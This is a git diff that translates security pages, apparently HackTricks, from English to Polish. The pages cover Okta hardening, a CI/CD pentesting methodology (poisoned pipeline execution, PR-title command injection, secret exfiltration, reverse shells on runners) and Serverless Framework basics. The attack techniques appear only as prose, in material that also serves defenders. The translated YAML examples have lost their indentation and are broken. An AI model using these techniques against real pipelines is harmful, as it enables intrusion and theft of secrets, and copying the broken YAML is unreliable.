aplikacją... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +W zakładce **`Sign On`** znajduje się również pole o nazwie **`Password reveal`**, które pozwala użytkownikowi **ujawnić swoje hasło** podczas sprawdzania ustawień aplikacji. Aby sprawdzić ustawienia aplikacji z panelu użytkownika, kliknij 3 kropki:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania hasła, jeśli jest włączona):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub odbierania dostępu, gdy jest to wymagane. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **E-maile powiadamiające o bezpieczeństwie**: Wszystkie powinny być włączone. +- **Integracja CAPTCHA**: Zaleca się ustawienie przynajmniej niewidocznego reCaptcha. +- **Bezpieczeństwo organizacji**: Wszystko można włączyć, a e-maile aktywacyjne nie powinny trwać długo (7 dni jest w porządku). +- **Zapobieganie enumeracji użytkowników**: Oba powinny być włączone. +- Zauważ, że zapobieganie enumeracji użytkowników nie ma zastosowania, jeśli którakolwiek z poniższych warunków jest dozwolona (zobacz [Zarządzanie użytkownikami](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) po więcej informacji): +- Rejestracja samoobsługowa +- Przepływy JIT z uwierzytelnianiem e-mailowym +- **Ustawienia Okta ThreatInsight**: Rejestruj i egzekwuj bezpieczeństwo w oparciu o poziom zagrożenia. ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Tutaj można znaleźć poprawnie i **niebezpiecznie** skonfigurowane **ustawienia**. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Tutaj możesz znaleźć wszystkie metody uwierzytelniania, które użytkownik mógłby użyć: Hasło, telefon, e-mail, kod, WebAuthn... Klikając w uwierzytelnianie hasłem, możesz zobaczyć **politykę haseł**. Sprawdź, czy jest silna. -In the **Enrollment** tab you can see how the ones that are required or optinal: +W zakładce **Enrollment** możesz zobaczyć, które z nich są wymagane lub opcjonalne:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +Zaleca się wyłączenie telefonu. Najsilniejsze są prawdopodobnie kombinacje hasła, e-maila i WebAuthn. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Każda aplikacja ma politykę uwierzytelniania. Polityka uwierzytelniania weryfikuje, że użytkownicy, którzy próbują zalogować się do aplikacji, spełniają określone warunki, i egzekwuje wymagania dotyczące czynników w oparciu o te warunki. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Tutaj możesz znaleźć **wymagania dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Tutaj możesz znaleźć polityki sesji przypisane do różnych grup. Na przykład:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie utrzymywanie ciasteczek sesji w rozszerzeniach przeglądarki oraz ograniczenie lokalizacji i dostawcy tożsamości (jeśli to możliwe). Na przykład, jeśli każdy użytkownik powinien logować się z konkretnego kraju, możesz zezwolić tylko na tę lokalizację. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom końcowym **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +Uwierzytelnianie delegowane pozwala użytkownikom logować się do Okta, wprowadzając dane uwierzytelniające dla serwera **Active Directory (AD) lub LDAP** swojej organizacji. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji, mógłby być w stanie przejść do Okta dzięki temu ustawieniu. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w swojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są dozwolone (i sprawdzić, czy jakieś **adresy IP są bardziej uprzywilejowane** niż inne). Z perspektywy atakującego, jeśli użytkownicy powinni uzyskiwać dostęp z konkretnego adresu IP lub regionu, sprawdź, czy ta funkcja jest używana prawidłowo. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Zarządzanie punktami końcowymi**: Zarządzanie punktami końcowymi to warunek, który można zastosować w polityce uwierzytelniania, aby zapewnić, że zarządzane urządzenia mają dostęp do aplikacji. +- Nie widziałem tego jeszcze używanego. TODO +- **Usługi powiadomień**: Nie widziałem tego jeszcze używanego. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i którym ufasz, aby uzyskać dostęp do swojej organizacji Okta przez API Okta. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +Automatyzacje pozwalają na tworzenie automatycznych działań, które są uruchamiane na podstawie zestawu warunków wyzwalających, które występują w trakcie cyklu życia użytkowników końcowych. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Na przykład warunkiem może być "Nieaktywność użytkownika w Okta" lub "Wygasanie hasła użytkownika w Okta", a działaniem może być "Wyślij e-mail do użytkownika" lub "Zmień stan cyklu życia użytkownika w Okta". ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Pobierz logi. Są **wysyłane** na **adres e-mail** bieżącego konta. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Tutaj możesz znaleźć **logi działań wykonywanych przez użytkowników** z wieloma szczegółami, takimi jak logowanie do Okta lub aplikacji przez Okta. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +To może **importować logi z innych platform** uzyskanych za pomocą Okta. ### Rate limits -Check the API rate limits reached. +Sprawdź osiągnięte limity szybkości API. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Tutaj możesz znaleźć **ogólne informacje** o środowisku Okta, takie jak nazwa firmy, adres, **kontakt e-mail do rozliczeń**, **kontakt e-mail do spraw technicznych** oraz kto powinien otrzymywać aktualizacje Okta i jakie rodzaje aktualizacji Okta. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Tutaj możesz pobrać agentów Okta, aby zsynchronizować Okta z innymi technologiami. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..98629fef8 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarządzanie swoim kodem źródłowym**. Najczęściej używanym jest **git** i zazwyczaj znajdziesz firmy korzystające z niego na jednej z następujących **platform**: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Dostawcy chmury (oferują własne platformy VCS) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +Pipelines CI/CD umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane przepływy pracy są **wyzwalane przez konkretne akcje**, takie jak push kodu, pull requesty lub zaplanowane zadania. Są przydatne do usprawnienia procesu od rozwoju do produkcji. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +Jednak te systemy muszą być **wykonywane gdzieś** i zazwyczaj z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub uzyskiwania dostępu do wrażliwych informacji**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji będziemy analizować tylko potencjalne ataki na kontrolę kodu źródłowego. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażliwe informacje i ludzie muszą być bardzo ostrożni z uprawnieniami przyznawanymi w tej platformie. Oto niektóre powszechne problemy w platformach VCS, które mogą być wykorzystywane przez atakujących: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid: - - Compromise the main branch to **compromise production**. - - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines). - - **Compromise the pipeline** (check next section) +- **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki. +- **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**. +- **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta. +- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład). +- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje kilka rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób. +- **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**. +- Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej. +- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret. +- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli: +- Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**. +- Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach). +- **Kompromitacja pipeline** (sprawdź następną sekcję) ## Pipelines Pentesting Methodology -The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\ -These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code. +Najczęstszym sposobem definiowania pipeline jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych zadań, warunki wpływające na przepływ i ustawienia środowiska budowania.\ +Te pliki zazwyczaj mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu, zadanie pipeline **pobiera kod** z wybranego źródła (np. commit / gałąź) i **wykonuje polecenia określone w pliku konfiguracyjnym CI** na tym kodzie. -Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**. +Dlatego ostatecznym celem atakującego jest w jakiś sposób **kompromitacja tych plików konfiguracyjnych** lub **poleceń, które wykonują**. -### PPE - Poisoned Pipeline Execution +### PPE - Wykonanie Zatrutego Pipeline -The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands. +Ścieżka Wykonania Zatrutego Pipeline (PPE) wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline CI i wykonywania szkodliwych poleceń. Użytkownicy z niezbędnymi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez zadanie pipeline, aby dodać złośliwe polecenia. To "zatruwa" pipeline CI, prowadząc do wykonania tych złośliwych poleceń. -For a malicious actor to be successful performing a PPE attack he needs to be able to: +Aby złośliwy aktor odniósł sukces w przeprowadzeniu ataku PPE, musi być w stanie: -- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access). - - Note that sometimes an **external PR count as "write access"**. -- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**. - - For this, he might need to be able to **bypass branch protections**. +- Mieć **dostęp do zapisu w platformie VCS**, ponieważ zazwyczaj pipeline są wyzwalane, gdy wykonany jest push lub pull request. (Sprawdź metodologię pentestingu VCS, aby uzyskać podsumowanie sposobów uzyskania dostępu). +- Zauważ, że czasami **zewnętrzny PR liczy się jako "dostęp do zapisu"**. +- Nawet jeśli ma uprawnienia do zapisu, musi być pewny, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których opiera się konfiguracja**. +- W tym celu może potrzebować być w stanie **obejść zabezpieczenia gałęzi**. -There are 3 PPE flavours: +Istnieją 3 smaki PPE: -- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. -- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). -- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR. - - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**. +- **D-PPE**: Atak **Bezpośredni PPE** występuje, gdy aktor **modyfikuje plik konfiguracyjny CI**, który ma być wykonany. +- **I-DDE**: Atak **Pośredni PPE** występuje, gdy aktor **modyfikuje** **plik**, na którym opiera się plik konfiguracyjny CI, który ma być wykonany (jak plik make lub konfiguracja terraform). +- **Public PPE lub 3PE**: W niektórych przypadkach pipeline mogą być **wyzwalane przez użytkowników, którzy nie mają dostępu do zapisu w repozytorium** (i którzy mogą nawet nie być częścią organizacji), ponieważ mogą wysłać PR. +- **3PE Wstrzykiwanie Poleceń**: Zazwyczaj pipeline CI/CD **ustawią zmienne środowiskowe** z **informacjami o PR**. Jeśli ta wartość może być kontrolowana przez atakującego (jak tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (jak wykonywanie **poleceń sh**), atakujący może **wstrzyknąć polecenia tam**. -### Exploitation Benefits +### Korzyści z Eksploatacji -Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation: +Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji: -- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible. - - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**. -- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further. - - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**. - - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**. - - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**. - - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further. -- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**. +- **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów. +- W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**. +- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej pivotować. +- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**. +- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**. +- **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**. +- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotny shell na każdej możliwej maszynie, aby spróbować dalej ją wykorzystać. +- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Sprawdź ten interesujący artykuł o 10 największych ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby móc ją skonfigurować według własnych potrzeb do testowania. +- Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu. ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..c5bbf382d 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,302 +2,273 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -### Organization +### Organizacja -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +**Organizacja** to najwyższy poziom podmiotu w ekosystemie Serverless Framework. Reprezentuje **zbiorową grupę**, taką jak firma, dział lub jakikolwiek duży podmiot, który obejmuje wiele projektów, zespołów i aplikacji. -### Team +### Zespół -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +**Zespół** to użytkownicy z dostępem wewnątrz organizacji. Zespoły pomagają w organizowaniu członków na podstawie ról. **`Współpracownicy`** mogą przeglądać i wdrażać istniejące aplikacje, podczas gdy **`Administratorzy`** mogą tworzyć nowe aplikacje i zarządzać ustawieniami organizacji. -### Application +### Aplikacja -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +**Aplikacja** to logiczne grupowanie powiązanych usług w ramach Organizacji. Reprezentuje kompletną aplikację składającą się z wielu usług serverless, które współpracują, aby zapewnić spójną funkcjonalność. -### **Services** - -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. +### **Usługi** +**Usługa** to podstawowy komponent aplikacji Serverless. Reprezentuje cały projekt serverless, kapsułkując wszystkie funkcje, konfiguracje i zasoby potrzebne. Zwykle jest definiowana w pliku `serverless.yml`, usługa zawiera metadane, takie jak nazwa usługi, konfiguracje dostawcy, funkcje, zdarzenia, zasoby, wtyczki i zmienne niestandardowe. ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
-Function +Funkcja -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +A **Funkcja** reprezentuje pojedynczą funkcję serverless, taką jak funkcja AWS Lambda. Zawiera kod, który jest wykonywany w odpowiedzi na zdarzenia. +Jest zdefiniowana w sekcji `functions` w `serverless.yml`, określając handler, runtime, zdarzenia, zmienne środowiskowe i inne ustawienia. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +Wydarzenie -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**Wydarzenia** to wyzwalacze, które uruchamiają Twoje funkcje serverless. Określają, jak i kiedy funkcja powinna być wykonywana. +Typowe rodzaje wydarzeń to żądania HTTP, zaplanowane wydarzenia (zadania cron), wydarzenia z bazy danych, przesyłanie plików i inne. ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
Resource -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**Zasoby** pozwalają na zdefiniowanie dodatkowych zasobów chmurowych, od których zależy Twoja usługa, takich jak bazy danych, kosze pamięci lub role IAM. +Są one określane w sekcji `resources`, często używając składni CloudFormation dla AWS. ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
